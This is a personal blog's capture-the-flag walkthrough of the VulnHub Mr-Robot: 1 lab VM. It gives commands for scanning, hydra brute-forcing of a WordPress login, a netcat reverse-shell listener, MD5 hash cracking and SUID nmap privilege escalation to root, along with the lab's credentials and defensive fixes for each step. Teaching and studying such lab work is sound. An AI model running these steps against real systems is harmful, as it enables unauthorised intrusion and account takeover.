← Back to writing
CTF writeupVulnHubBeginner–intermediatePublished August 4, 2026

Mr-Robot: 1

The first CTF machine I completed—and the challenge that taught me to stop looking for one “magic exploit” and start treating enumeration as a chain of evidence.

Web enumerationWordPressPassword attacksLinux privilege escalation

00 / Context

Why this machine mattered

Mr-Robot: 1 was the first capture-the-flag machine I completed from initial discovery through root access. Finishing it changed the way I approached technical problems: enumerate carefully, form a hypothesis, test it, and keep notes as each small result changes the next decision.

The official challenge was released by Leon Johnson in 2016. It contains three hidden keys of increasing difficulty and is described as beginner–intermediate, without advanced exploitation or reverse engineering.[1]

Spoiler warning

This is a complete walkthrough. It reveals the attack path, credentials, and privilege-escalation method. The actual key values are intentionally omitted.

01 / Attack path

The complete chain

  1. 01
    Discover

    Identify the VM and exposed web services.

  2. 02
    Enumerate

    Use robots.txt to find the first key and a custom wordlist.

  3. 03
    Authenticate

    Identify a WordPress user and recover the password.

  4. 04
    Foothold

    Use authorized WordPress access to execute a reverse-shell payload.

  5. 05
    Move locally

    Recover the robot account password and collect the second key.

  6. 06
    Escalate

    Abuse a SUID copy of legacy Nmap to obtain root and reach the third key.

02 / Reconnaissance

Start with the exposed surface

After identifying the target on the lab network, I scanned all TCP ports and followed with default scripts and service detection. The machine exposed HTTP and HTTPS; SSH was not available as an initial route.

Terminal / service discovery
nmap -p- --min-rate 2000 TARGET
nmap -sC -sV -p 80,443 TARGET

The website was themed around the show, but the interactive commands on the landing page did not produce a useful path. A basic web-enumeration step did:

Terminal / robots.txt
curl http://TARGET/robots.txt

User-agent: *
fsocity.dic
key-1-of-3.txt

robots.txt disclosed both the first key and a large custom dictionary. That was the first major lesson: simple files and metadata can reveal more than aggressive scanning. The same route is documented in a contemporary walkthrough linked by VulnHub.[2]

Key 1Captured from the web root

Value omitted to preserve at least one discovery for readers who still want to try the VM.

03 / WordPress enumeration

Turn one clue into a credential path

Directory and application enumeration identified a WordPress installation and its login page. The downloaded fsocity.dic file contained many duplicate entries, so reducing it first made later password testing substantially more efficient.

Terminal / prepare the wordlist
wget http://TARGET/fsocity.dic
sort -u fsocity.dic > fsocity-unique.dic
wc -l fsocity.dic fsocity-unique.dic

The WordPress login response distinguished an invalid username from a valid username with a bad password. That difference allowed username enumeration. Testing the custom list identified elliot; testing passwords for that account then recovered ER28-0652.[2]

Terminal / controlled lab authentication testing
hydra -L fsocity-unique.dic -p test TARGET http-post-form \
'/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username'

hydra -l elliot -P fsocity-unique.dic TARGET http-post-form \
'/wp-login.php:log=^USER^&pwd=^PASS^:F=is incorrect'
Finding

Username disclosure

Different authentication errors revealed whether an account existed.

Finding

Weak password

The valid password appeared in a wordlist the application itself exposed.

Defensive fix

Uniform responses

Use generic login errors, throttling, MFA, and monitoring for repeated failures.

Defensive fix

Remove exposed artifacts

Do not leave dictionaries, backups, or internal files in a public web root.

04 / Initial access

Administrative access became code execution

The recovered account had WordPress administrative privileges. In this intentionally vulnerable configuration, an administrator could modify or upload PHP that the server would execute. I used that capability to place a reverse-shell payload and called it while a listener waited on my lab machine.

Terminal / listener and shell stabilization
nc -lvnp 4444

python -c 'import pty; pty.spawn("/bin/bash")'
id
# uid=1(daemon) gid=1(daemon)

This was not a WordPress software vulnerability by itself. It was the impact of compromised administrator credentials combined with the ability to edit executable application code.

Operational lesson

Protect privileged application accounts as if they are server credentials. Separate content administration from code deployment where possible, disable production theme/plugin editing, and monitor changes to executable web content.

05 / Local access

A readable password hash opened the next account

Enumeration of local home directories revealed two files under /home/robot: the second key and password.raw-md5. The web-service account could read the hash file but not the key.

Target / local enumeration
ls -la /home/robot
cat /home/robot/password.raw-md5

robot:c3fcd3d76192e4007dfb496cca67e13b

The unsalted MD5 value cracked to abcdefghijklmnopqrstuvwxyz. After stabilizing the shell so that su could request a password, I switched to the robot account and read the second key.[2]

Terminal and target / crack, switch user, verify
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

su robot
id
cat /home/robot/key-2-of-3.txt
Key 2Captured as the robot user

The file permission forced a move from the web-service identity to a local account.

06 / Privilege escalation

The binary mattered more than the version banner

A search for SUID executables found /usr/local/bin/nmap. SUID programs execute with the file owner’s effective privileges; here, the legacy Nmap binary was owned by root and included an interactive mode capable of launching a shell.

Target / SUID discovery
find / -perm -4000 -type f 2>/dev/null
ls -l /usr/local/bin/nmap

Launching the legacy interactive console and invoking a shell preserved the elevated effective identity, producing root access. Contemporary walkthroughs document this exact route on the VM.[2] GTFOBins also catalogs Nmap capabilities that can become security boundaries when the binary is granted elevated execution contexts.[3]

Target / legacy Nmap interactive mode
/usr/local/bin/nmap --interactive
nmap> !sh
# id
uid=1002(robot) euid=0(root) gid=1002(robot)
# cat /root/key-3-of-3.txt
Key 3Captured with effective root privileges

The final weakness was a privileged utility whose features exceeded what its SUID placement safely allowed.

07 / What I learned

The real win was the workflow

01

Enumeration compounds.

No single step solved the machine. A web hint produced a wordlist; the wordlist produced credentials; credentials produced code execution; local files produced another identity; and system enumeration produced root.

02

Reduce data before attacking it.

Deduplicating the exposed dictionary made credential testing faster and demonstrated that preparation can matter more than raw tool speed.

03

Permissions tell a story.

The unreadable second key, readable hash, and SUID Nmap binary each described the next privilege boundary.

04

Explain the defensive failure.

A useful writeup should identify not only how access was gained, but which control failed and how a defender could remove or detect that path.

Completing Mr-Robot gave me proof that I could stay with an unfamiliar system long enough to connect small clues into a full compromise path. More importantly, it gave me a repeatable process I still use: observe, enumerate, test, document, and validate.

Sources

Challenge and route references

  1. Mr-Robot: 1 — VulnHubOfficial release details, challenge objective, format, and difficulty.
  2. [Write-up] Mr Robot — Christophe Tafani-DereeperIndependent route verification for enumeration, WordPress access, local credential recovery, and Nmap escalation.
  3. nmap — GTFOBinsReference for security-relevant Nmap behavior under elevated execution contexts.